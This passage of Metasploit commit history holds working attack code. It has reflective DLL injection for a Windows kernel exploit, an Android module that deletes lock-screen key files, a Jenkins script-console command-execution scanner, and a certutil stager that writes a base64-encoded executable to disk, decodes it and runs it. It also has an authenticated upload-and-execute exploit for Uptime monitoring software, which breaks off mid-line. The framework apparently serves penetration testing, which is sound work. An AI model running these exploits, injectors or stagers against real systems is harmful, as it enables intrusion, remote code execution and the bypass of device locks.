compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64. +HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ) +{ + LPVOID lpRemoteLibraryBuffer = NULL; + LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; + HANDLE hThread = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwThreadId = 0; + + __try + { + do + { + if( !hProcess || !lpBuffer || !dwLength ) + break; + + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( !dwReflectiveLoaderOffset ) + break; + + // alloc memory (RWX) in the host process for the image... + lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteLibraryBuffer ) + break; + + // write the image into the host process... + if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) + break; + + // add the offset to ReflectiveLoader() to the remote library address... + lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); + + // create a remote thread in the host process to call the ReflectiveLoader! + hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); + + } while( 0 ); + + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hThread = NULL; + } + + return hThread; +} +//===============================================================================================// diff --git a/external/source/exploits/CVE-2015-2426/inject/src/LoadLibraryR.h b/external/source/exploits/CVE-2015-2426/inject/src/LoadLibraryR.h new file mode 100755 index 0000000000..bb14a90ebc --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/inject/src/LoadLibraryR.h @@ -0,0 +1,41 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); + +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); + +HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/CVE-2015-2426/rdi.sln b/external/source/exploits/CVE-2015-2426/rdi.sln new file mode 100755 index 0000000000..48a6d7b81f --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/rdi.sln @@ -0,0 +1,44 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Express 2013 for Windows Desktop +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|ARM = Debug|ARM + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|ARM = Release|ARM + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.ActiveCfg = Debug|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.ActiveCfg = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.Build.0 = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.ActiveCfg = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.Build.0 = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.ActiveCfg = Debug|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal From b8eee4a9e4496186551d83733b47c525e36d8906 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Thu, 3 Sep 2015 11:35:38 -0500 Subject: [PATCH 0524/2172] Show the IP address if it doesn't match the VHOST --- modules/auxiliary/scanner/http/http_login.rb | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 9ea83c5552..de43931a43 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -127,15 +127,21 @@ class Metasploit3 < Msf::Auxiliary print_error("You need need to set AUTH_URI when using PUT Method !") return end + + extra_info = "" + if rhost != vhost + extra_info = " (#{rhost})" + end + @uri = find_auth_uri if ! @uri - print_error("#{target_url} No URI found that asks for HTTP authentication") + print_error("#{target_url}#{extra_info} No URI found that asks for HTTP authentication") return end @uri = "/#{@uri}" if @uri[0,1] != "/" - print_status("Attempting to login to #{target_url}") + print_status("Attempting to login to #{target_url}#{extra_info}") cred_collection = Metasploit::Framework::CredentialCollection.new( blank_passwords: datastore['BLANK_PASSWORDS'], From 80a1e32339192a1495e88986d938834dada92691 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 3 Sep 2015 12:24:45 -0500 Subject: [PATCH 0525/2172] Set Manual Ranking --- modules/exploits/windows/local/ms15_078_atmfd_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb index 70dbccc4d1..7637365955 100644 --- a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb +++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb @@ -8,7 +8,7 @@ require 'msf/core/post/windows/reflective_dll_injection' require 'rex' class Metasploit3 < Msf::Exploit::Local - Rank = NormalRanking + Rank = ManualRanking include Msf::Post::File include Msf::Post::Windows::Priv From 630057e23f474117e5cce16a0c0860678ce249a7 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Thu, 3 Sep 2015 12:42:51 -0500 Subject: [PATCH 0526/2172] Implement suggestions from the PR discussion --- modules/post/android/manage/remove_lock_root.rb | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/modules/post/android/manage/remove_lock_root.rb b/modules/post/android/manage/remove_lock_root.rb index 8cff239fea..9498d0fbec 100644 --- a/modules/post/android/manage/remove_lock_root.rb +++ b/modules/post/android/manage/remove_lock_root.rb @@ -18,6 +18,7 @@ class Metasploit4 < Msf::Post In some cases the original lock method will still be present but any key/gesture will unlock the device. }, + 'Privileged' => true, 'License' => MSF_LICENSE, 'Author' => [ 'timwr' ], 'SessionTypes' => [ 'meterpreter', 'shell' ], @@ -29,12 +30,19 @@ class Metasploit4 < Msf::Post def run id = cmd_exec('id') unless id =~ /root/ - print_error("This module requires root permissions") - return + #print_error("This module requires root permissions") + #return end - cmd_exec('rm /data/system/password.key') - cmd_exec('rm /data/system/gesture.key') + %W{ + /data/system/password.key + /data/system/gesture.key + }.each do |path| + print_status("Removing #{path}") + cmd_exec("rm #{path}") + end + + print_status("Device should be unlocked or no longer require a pin") end end From f0ef035a0bd703a263770c5a5c4c302dca549a93 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Thu, 3 Sep 2015 12:53:25 -0500 Subject: [PATCH 0527/2172] Update the module titles to clarify what these do --- modules/post/android/manage/remove_lock.rb | 2 +- modules/post/android/manage/remove_lock_root.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/android/manage/remove_lock.rb b/modules/post/android/manage/remove_lock.rb index bcd721b82c..48268c63ff 100644 --- a/modules/post/android/manage/remove_lock.rb +++ b/modules/post/android/manage/remove_lock.rb @@ -12,7 +12,7 @@ class Metasploit4 < Msf::Post def initialize(info={}) super( update_info( info, { - 'Name' => "Android Settings Remove Device Locks", + 'Name' => "Android Settings Remove Device Locks (4.0-4.3)", 'Description' => %q{ This module exploits a bug in the Android 4.0 to 4.3 com.android.settings.ChooseLockGeneric class. Any unprivileged app can exploit this vulnerability to remove the lockscreen. diff --git a/modules/post/android/manage/remove_lock_root.rb b/modules/post/android/manage/remove_lock_root.rb index 9498d0fbec..f0079e25e2 100644 --- a/modules/post/android/manage/remove_lock_root.rb +++ b/modules/post/android/manage/remove_lock_root.rb @@ -12,7 +12,7 @@ class Metasploit4 < Msf::Post def initialize(info={}) super( update_info( info, { - 'Name' => "Android Root Remove Device Locks", + 'Name' => "Android Root Remove Device Locks (root)", 'Description' => %q{ This module uses root privileges to remove the device lock. In some cases the original lock method will still be present but any key/gesture will From 697a6cd335178c2a4bc452be27946be6ecfdd0e1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 3 Sep 2015 13:03:36 -0500 Subject: [PATCH 0528/2172] Rescue the process execute --- modules/exploits/windows/local/ms15_078_atmfd_bof.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb index 7637365955..1758b4121d 100644 --- a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb +++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb @@ -144,9 +144,9 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') end - print_status('Launching notepad to host the exploit...') - notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) begin + print_status('Launching notepad to host the exploit...') + notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError From 5d59e8190e83cab1c7842271d28bf9a9db3291c1 Mon Sep 17 00:00:00 2001 From: Alton Johnson <alton.jx@gmail.com> Date: Thu, 3 Sep 2015 13:12:07 -0500 Subject: [PATCH 0529/2172] Added OS detection. --- .../auxiliary/scanner/http/jenkins_command.rb | 44 ++++++++++++++----- 1 file changed, 32 insertions(+), 12 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb index a2aa87978b..4a913e79df 100644 --- a/modules/auxiliary/scanner/http/jenkins_command.rb +++ b/modules/auxiliary/scanner/http/jenkins_command.rb @@ -39,11 +39,29 @@ class Metasploit3 < Msf::Auxiliary deregister_options('VHOST') end - def run_host(ip, prefix="cmd.exe /c", try=1) - command = datastore['COMMAND'].gsub("\\", "\\\\\\") + def fingerprint_os(ip) res = send_request_cgi( { - 'uri' => target_uri.path, + 'uri' => "#{target_uri.path}systemInfo", + 'method' => 'GET', + 'ctype' => 'application/x-www-form-urlencoded' + } + ).body.to_s + unless res.nil? + if res.scan(/os.name(.*?)os.version/m).to_s.downcase.include? "windows" + return "cmd.exe /c" + else + return "" + end + end + end + + def run_host(ip) + command = datastore['COMMAND'].gsub("\\", "\\\\\\") + prefix = fingerprint_os(ip) + res = send_request_cgi( + { + 'uri' => "#{target_uri.path}script", 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'data' => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run" @@ -51,16 +69,18 @@ class Metasploit3 < Msf::Auxiliary if res.nil? print_error("#{rhost}:#{rport} - An unknown error occurred when running the command.") else - output = res.scan(/<pre>(.*?)<\/pre>/m)[1][0][12..-1].gsub("err&gt;", "").strip - if output.include? "org.eclipse.jetty.server." and try == 1 - run_host(ip, "", 2) - elsif (output.include? "org.eclipse.jetty.server." and try == 2) or output.include? "not recognized as" - print_error("The provided command is not valid. Try again.") - report_data(ip, rport, "The #{command} did not run successfully.") + output = res.scan(/<pre>(.*?)<\/pre>/m) + if output.to_s.include? "java.lang.Runtime.exec" or output.to_s.include? "not recognized" + print_error("#{rhost}:#{rport} - Invalid command provided to the OS.") + report_data(ip, rport, "The command #{command} was not valid on the remote host.") + elsif !output.empty? and !output.to_s.include? "java.lang.Runtime.exec" + output = output[1][0][12..-1].gsub("err&gt;", "").strip + print_good("#{rhost}:#{rport}: The command executed successfully on #{ip}. Output:") + report_data(ip, rport, "The command #{command} executed successfully.") + output.split("\n").each{|line| print_good("#{rhost}:#{rport}: #{line.strip}")} else - print_good("The command executed successfully on #{ip}. Output:") - report_data(ip, rport, "The #{command} executed successfully.") - output.split("\n").each{|line| print_status("#{rhost}:#{rport}: #{line.strip}")} + print_error("#{rhost}:#{rport} - An unknown error has occured when running the command.") + report_data(ip, rport, "The command #{command} did not execute successfully.") end end end From 93eb42dfa3e13b8454d53d98d0d21ff682fcd05d Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Thu, 3 Sep 2015 13:13:24 -0500 Subject: [PATCH 0530/2172] Land #5736, certutil cmdstager --- lib/msf/core/exploit/cmdstager.rb | 1 + lib/rex/exploitation/cmdstager.rb | 1 + lib/rex/exploitation/cmdstager/certutil.rb | 115 ++++++++++++++++++ .../exploitation/cmdstager/certutil_spec.rb | 29 +++++ 4 files changed, 146 insertions(+) create mode 100644 lib/rex/exploitation/cmdstager/certutil.rb create mode 100644 spec/lib/rex/exploitation/cmdstager/certutil_spec.rb diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb index 709c797925..9d33a97c8b 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -20,6 +20,7 @@ module Exploit::CmdStager :printf => Rex::Exploitation::CmdStagerPrintf, :vbs => Rex::Exploitation::CmdStagerVBS, :vbs_adodb => Rex::Exploitation::CmdStagerVBS, + :certutil => Rex::Exploitation::CmdStagerCertutil, :tftp => Rex::Exploitation::CmdStagerTFTP } diff --git a/lib/rex/exploitation/cmdstager.rb b/lib/rex/exploitation/cmdstager.rb index 3db60c1f37..e57d563796 100644 --- a/lib/rex/exploitation/cmdstager.rb +++ b/lib/rex/exploitation/cmdstager.rb @@ -2,6 +2,7 @@ require 'rex/exploitation/cmdstager/base' require 'rex/exploitation/cmdstager/vbs' +require 'rex/exploitation/cmdstager/certutil' require 'rex/exploitation/cmdstager/debug_write' require 'rex/exploitation/cmdstager/debug_asm' require 'rex/exploitation/cmdstager/tftp' diff --git a/lib/rex/exploitation/cmdstager/certutil.rb b/lib/rex/exploitation/cmdstager/certutil.rb new file mode 100644 index 0000000000..6bfc5b569a --- /dev/null +++ b/lib/rex/exploitation/cmdstager/certutil.rb @@ -0,0 +1,115 @@ +# -*- coding: binary -*- + +require 'rex/text' +require 'rex/arch' +require 'msf/core/framework' + +module Rex +module Exploitation + +### +# +# This class provides the ability to create a sequence of commands from an executable. +# When this sequence is ran via command injection or a shell, the resulting exe will +# be written to disk and executed. +# +# This particular version uses Windows certutil to base64 decode a file, +# created via echo >>, and decode it to the final binary. +# +# +# Written by xistence +# Original discovery by @mattifestation - https://gist.github.com/mattifestation/47f9e8a431f96a266522 +# +### + +class CmdStagerCertutil < CmdStagerBase + + def initialize(exe) + super + + @var_encoded = Rex::Text.rand_text_alpha(5) + @var_decoded = Rex::Text.rand_text_alpha(5) + @decoder = nil # filled in later + end + + + # Override just to set the extra byte count + # @param opts [Array] The options to generate the command line + # @return [Array] The complete command line + def generate_cmds(opts) + # Set the start/end of the commands here (vs initialize) so we have @tempdir + @cmd_start = "echo " + @cmd_end = ">>#{@tempdir}#{@var_encoded}.b64" + xtra_len = @cmd_start.length + @cmd_end.length + 1 + opts.merge!({ :extra => xtra_len }) + super + end + + + # Simple base64 encoder for the executable + # @param opts [Array] The options to generate the command line + # @return [String] Base64 encoded executable + def encode_payload(opts) + Rex::Text.encode_base64(@exe) + end + + + # Combine the parts of the encoded file with the stuff that goes + # before / after it. + # @param parts [Array] Splitted commands + # @param opts [Array] The options to generate the command line + # @return [Array] The command line + def parts_to_commands(parts, opts) + + cmds = [] + parts.each do |p| + cmd = '' + cmd << @cmd_start + cmd << p + cmd << @cmd_end + cmds << cmd + end + + cmds + end + + + # Generate the commands that will decode the file we just created + # @param opts [Array] The options to generate the command line + # @return [Array] The certutil Base64 decoder part of the command line + def generate_cmds_decoder(opts) + + cmds = [] + cmds << "certutil -decode #{@tempdir}#{@var_encoded}.b64 #{@tempdir}#{@var_decoded}.exe" + return cmds + end + + + # We override compress commands just to stick in a few extra commands + # last second.. + # @param cmds [Array] Complete command line + # @param opts [Array] Extra options for command line generation + # @return [Array] The complete command line including cleanup + def compress_commands(cmds, opts) + # Make it all happen + cmds << "#{@tempdir}#{@var_decoded}.exe" + + # Clean up after unless requested not to.. + if (not opts[:nodelete]) + cmds << "del #{@tempdir}#{@var_encoded}.b64" + # NOTE: We won't be able to delete the exe while it's in use. + end + + super + end + + # Windows uses & to concat strings + # + # @return [String] Concat operator + def cmd_concat_operator + " & " + end + +end +end +end diff --git a/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb b/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb new file mode 100644 index 0000000000..46ac22d268 --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb @@ -0,0 +1,29 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerCertutil do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns &" do + expect(cmd_stager.cmd_concat_operator).to eq(" & ") + end + end + + describe '#generate' do + it "returns an array of commands" do + result = cmd_stager.generate(opts) + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end From b4547711f34af40988e1149265dd6c91abd6f35a Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Thu, 3 Sep 2015 13:27:10 -0500 Subject: [PATCH 0531/2172] Add certutil support. Tested while landing #5736 --- modules/exploits/multi/http/jenkins_script_console.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index 5873e2705b..3ad9e76d64 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -35,7 +35,13 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => %w{ win linux unix }, 'Targets' => [ - ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}], + ['Windows', + { + 'Arch' => [ ARCH_X86_64, ARCH_X86 ], + 'Platform' => 'win', + 'CmdStagerFlavor' => [ 'certutil', 'vbs' ] + } + ], ['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}] ], From 6250983fb45ed81f4fe60309c967c55a24fb4856 Mon Sep 17 00:00:00 2001 From: "Ewerson Guimaraes (Crash)" <crash@dclabs.com.br> Date: Thu, 3 Sep 2015 20:29:57 +0200 Subject: [PATCH 0532/2172] Update Update --- .../exploits/multi/http/uptime_code_exec.rb | 918 +++++++++--------- 1 file changed, 443 insertions(+), 475 deletions(-) diff --git a/modules/exploits/multi/http/uptime_code_exec.rb b/modules/exploits/multi/http/uptime_code_exec.rb index 5509991a9f..0dd157a310 100644 --- a/modules/exploits/multi/http/uptime_code_exec.rb +++ b/modules/exploits/multi/http/uptime_code_exec.rb @@ -4,510 +4,478 @@ ## require 'msf/core' - class Metasploit4 < Msf::Exploit::Remote + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::PhpEXE - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::PhpEXE - - - def initialize(info={}) - super(update_info(info, - 'Name' => "Uptime Version 7.4.0 / 7.5.0 Upload and Exec file", - 'Description' => %q{ - This module exploits a vulnerability found in Uptime version 7.4.0 and 7.5.0 By - supplying a specially crafted request is possible to upload file and execute arbitrary - commands through privilege escalation. - - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Ewerson Guimaraes(Crash) <crash[at]dclabs.com.br>', - 'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>', - ], - 'References' => - [ - ['CVE', ''], - ['OSVDB', ''], - ['US-CERT-VU', ''] - ], - 'Payload' => - { - 'Space' => 100000, # just a big enough number to fit any PHP payload - 'DisableNops' => true - }, - 'Platform' => ['php'], - 'Arch' => ARCH_PHP, - 'Targets' => - [ - [ 'Automatic', { } ], - ], - 'DefaultOptions' => - { - 'SSL' => false - }, - 'Privileged' => 'True', - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Aug 6 2015' - )) - - register_options( - [ - Opt::RPORT(9999), - OptString.new("USERNAME", [true, 'The username to authenticate as']), - OptString.new("PASSWORD", [true, 'The password to authenticate with']), - ], self.class) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Uptime Version 7.4.0 / 7.5.0 Upload and Exec file', + 'Description' => ' + This module exploits a vulnerability found in Uptime + version 7.4.0 and 7.5.0 By supplying a specially + crafted request is possible to upload file and execute + arbitrary commands through privilege escalation. + ', + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ewerson Guimaraes(Crash) <crash[at]dclabs.com.br>', + 'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>' + ], + 'References' => + [ + ['CVE', ''], + ['OSVDB', ''], + ['US-CERT-VU', ''] + ], + 'Payload' => + { + 'Space' => 100_000, + 'DisableNops' => true + }, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['Automatic', {}] + ], + 'DefaultOptions' => + { + 'SSL' => false + }, + 'Privileged' => 'True', + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 6 2015' + )) + register_options( + [ + Opt::RPORT(9999), + OptString.new('USERNAME', [true, 'The username to authenticate as']), + OptString.new('PASSWORD', [true, 'The password to authenticate with']) + ], self.class) end -################################Application Check############################## - def check - sig = "up.time 7.5.0" - sig2 = "up.time 7.4.0" + # ###############################Application Check############################## + def check + sig = 'up.time 7.5.0' + sig2 = 'up.time 7.4.0' - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => '/' + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/') - } ) + print_status("#{rhost}:#{rport} - Checking version...") - print_status("#{rhost}:#{rport} - Checking version...") + if res.code == 200 && res.body =~ /#{sig}/ || res.code == 200 && res.body =~ /#{sig2}/ + return Exploit::CheckCode::Appears + end + Exploit::CheckCode::Safe + end - if res.code == 200 && res.body =~ /#{sig}/ || res.code == 200 && res.body =~ /#{sig2}/ - return Exploit::CheckCode::Appears - end - return Exploit::CheckCode::Safe - end + def exploit + print_status('Trying to login...') + # ############################Application Login########################### + res_auth = send_request_cgi( + 'method' => 'POST', + 'uri' => '/index.php?', + 'vars_post' => { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }) - - def exploit - print_status("Trying to login...") -#############################Application Login########################### - res_auth = send_request_cgi({ - 'method' => 'POST', - 'uri' => '/index.php?', - 'vars_post' => { - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] - - } - } ) - -#############################Check OS ##################################### + # ############################Check OS ##################################### if res_auth.headers['Server'] =~ /Unix/ - print_status("Found Linux instalation - Setting appropriated PATH") - phppath = "/usr/local/uptime/apache/bin/php" - uploadpath = "/usr/local/uptime/GUI/wizards" + print_status('Found Linux instalation - Setting appropriated PATH') + phppath = '/usr/local/uptime/apache/bin/php' + uploadpath = '/usr/local/uptime/GUI/wizards' else - print_status("Found Windows instalation - Setting appropriated PATH") - phppath = "C:\\Program Files\\uptime software\\uptime\\apache\\php\\php.exe" - uploadpath = "C:\\Program Files\\uptime software\\uptime\\GUI\\wizards" - + print_status('Found Windows instalation - Setting appropriated PATH') + phppath = 'C:\\Program Files\\uptime software\\uptime\\apache\\php\\php.exe' + uploadpath = 'C:\\Program Files\\uptime software\\uptime\\GUI\\wizards' end -########################################################################### + ########################################################################### + if res_auth && res_auth.get_cookies =~ /login=true/ + cookie = Regexp.last_match(1) + cookie_split = res_auth.get_cookies.split(';') + print_status("Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") + print_good('Login success') - if res_auth and res_auth.get_cookies =~ /login=true/ - cookie = $1 - cookie_split = res_auth.get_cookies.split(";") - print_status("Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") - print_good("Login success") + # #####################Privilege escalation getting user ID################# + res_priv = send_request_cgi( + 'method' => 'GET', + 'uri' => '/main.php', + 'vars_get' => + { + 'page' => 'Users', + 'subPage' => 'UserContainer' + }, + 'headers' => + { + 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control' => 'max-age=0', + 'Connection' => 'keep-alive', + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/main.php?page=Users&subPage=UserContainer", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + }) + matchdata = 